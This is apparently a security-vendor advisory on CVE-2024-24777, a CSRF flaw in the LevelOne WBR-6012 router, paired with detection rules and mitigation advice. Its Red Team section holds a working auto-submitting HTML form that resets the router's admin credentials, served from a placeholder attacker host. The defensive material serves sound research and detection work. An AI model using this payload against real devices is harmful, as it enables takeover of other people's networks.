CVE-2024-24777

Executive Summary

CVE-2024-24777 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting the LevelOne WBR-6012 router running firmware version R0.40e6. The flaw resides in the Web Application functionality, allowing an attacker to craft a malicious HTTP request that, when triggered by an authenticated administrator, can lead to unauthorized configuration changes or device takeover. With a CVSS score of 8.8, this vulnerability poses a significant threat to network integrity and confidentiality. No official patch or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the lack of a patch makes affected devices highly vulnerable to targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a malicious link or visit a crafted page
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Exploitation requires user interaction but can lead to full device compromise, including credential theft, DNS poisoning, or firmware modification.

Deep Dive & Mechanics

The LevelOne WBR-6012 router’s web interface lacks proper CSRF tokens or origin validation in its administrative functions. An attacker can host a malicious webpage containing a crafted HTTP request (e.g., via an <img> tag or JavaScript XMLHttpRequest) that, when visited by an authenticated admin, performs actions such as changing the admin password, modifying firewall rules, or enabling remote access. The vulnerability is rooted in the absence of anti-CSRF mechanisms, making it trivial to exploit once the attacker knows the target’s IP and the admin is logged in.

Attack Flow:

1. Attacker identifies a LevelOne WBR-6012 router (e.g., via Shodan).
2. Attacker crafts a malicious HTML page that sends a POST request to http://<router-ip>/goform/setSysAdm with new credentials.
3. Attacker lures an authenticated admin to visit the page (e.g., via phishing email).
4. The admin’s browser executes the request, changing the admin password.
5. Attacker logs in with the new credentials and takes full control.

Vulnerable vs. Patched Code

Vulnerable Code (R0.40e6): The web server does not validate the Referer header or include a CSRF token in forms. Example vulnerable form handler:

// No CSRF token check
void handle_setSysAdm() {
    char *newUser = get_param("username");
    char *newPass = get_param("password");
    // Directly updates admin credentials without validation
    update_admin(newUser, newPass);
}

Patched Code (Hypothetical): A patched version would include a CSRF token generated per session and validated on every state-changing request:

void handle_setSysAdm() {
    char *token = get_param("csrf_token");
    if (!validate_csrf_token(session_id, token)) {
        return_error("Invalid CSRF token");
        return;
    }
    char *newUser = get_param("username");
    char *newPass = get_param("password");
    update_admin(newUser, newPass);
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• LevelOne WBR-6012 router (firmware R0.40e6)
• Attacker machine (Kali Linux)
• Victim machine (Windows/Linux with browser)
• Network connectivity between all devices

Exploitation Steps:

1. Ensure the victim is logged into the router’s web interface (e.g., http://192.168.1.1).
2. Create a malicious HTML file (csrf.html):

<html>
<body>
<form id="csrf" action="http://192.168.1.1/goform/setSysAdm" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="password" value="pwned123">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the file on a web server: python3 -m http.server 8080
4. Send the victim a link to http://attacker-ip:8080/csrf.html.
5. Once the victim visits the page, the admin credentials are changed.
6. Log in to the router with attacker:pwned123.

Blue Team

Detection & Prevention:

• Monitor for unexpected changes to router admin credentials.
• Implement network segmentation to isolate router management interfaces.
• Use browser extensions that block cross-origin requests (e.g., NoScript).
• Deploy web application firewalls (WAF) that inspect and block missing CSRF tokens.
• Educate users to avoid clicking suspicious links while logged into administrative interfaces.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /goform/setSysAdm with unexpected parameters.
  • Referer headers pointing to external domains.
  • Unusual login attempts from new IP addresses after a CSRF attack.
• Host IOCs:
  • Modified router configuration (e.g., new admin user, changed DNS settings).
  • Presence of malicious HTML files on victim’s machine (e.g., csrf.html).
• Log IOCs:
  • Router logs showing password change events without prior authentication.
  • Web server logs showing requests with missing or invalid CSRF tokens.

Detection Engineering

YARA Rule

rule CVE_2024_24777_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit HTML targeting LevelOne WBR-6012"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24777"
    strings:
        $s1 = "goform/setSysAdm" ascii wide nocase
        $s2 = "username" ascii wide nocase
        $s3 = "password" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against LevelOne WBR-6012
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/setSysAdm with external Referer
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/setSysAdm'
        cs-referer: 
            - 'http://*'
            - 'https://*'
    condition: selection
falsepositives:
    - Legitimate admin actions from same origin
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-24777 CSRF Attempt Against LevelOne WBR-6012"; flow:to_server,established; content:"POST"; http_method; content:"/goform/setSysAdm"; http_uri; content:"username"; http_client_body; content:"password"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the router behind a firewall and restrict administrative access to trusted IPs only.
2. Disable remote management: Turn off WAN-side admin access if not required.
3. Monitor logs: Regularly check router logs for unauthorized configuration changes.
4. User education: Train administrators to avoid browsing untrusted sites while logged into the router.

Long-Term Fix:

• Vendor patch: LevelOne must release a firmware update that implements CSRF tokens or origin validation. Until then, consider replacing the device with a supported alternative.
• Workaround: Use a reverse proxy (e.g., Nginx) to add CSRF protection headers or block requests without a valid Referer header.

Valters IT Signature This report was generated by Valters IT DevSecOps Intelligence. For questions, contact security@valters-it.com.